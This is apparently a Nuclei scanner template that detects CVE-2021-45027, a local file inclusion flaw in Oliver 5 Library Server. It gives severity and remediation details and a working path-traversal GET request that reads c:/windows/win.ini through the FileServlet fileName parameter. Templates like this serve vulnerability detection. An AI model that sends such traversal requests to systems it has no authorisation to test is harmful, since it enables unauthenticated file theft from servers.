Oliver 5 Library Server <8.00.008.053 - Local File Inclusion

id: CVE-2021-45027

info:
  name: Oliver 5 Library Server <8.00.008.053 - Local File Inclusion
  author: gy741
  severity: high
  description: Oliver 5 Library Server versions prior to 8.00.008.053 are vulnerable to local file inclusion via the FileServlet function.
  impact: |
    Unauthenticated attackers can read arbitrary files from the Windows server including win.ini via path traversal in the fileName parameter.
  remediation: |
    Upgrade to Oliver 5 Library Server version 8.00.008.053 or later.
  reference:
    - https://www.exploit-db.com/exploits/50599
    - https://www.softlinkint.com/product/oliver/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45027
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-45027
    epss-score: 0.01642
    epss-percentile: 0.73589
    cwe-id: CWE-22
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2021,lfi,oliver,edb,windows,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/oliver/FileServlet?source=serverFile&fileName=c:/windows/win.ini"

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 4a0a00473045022100bc27946df4c70047222678eb3d8341a6a75740a7a5ebda23bae0efbce45f7d7902207cc3732a3c2e108aa0eb88377ab7fe5c5f120e2b3c76e8696b467f5e643b29d7:922c64590222798bb761d5b6d8e72950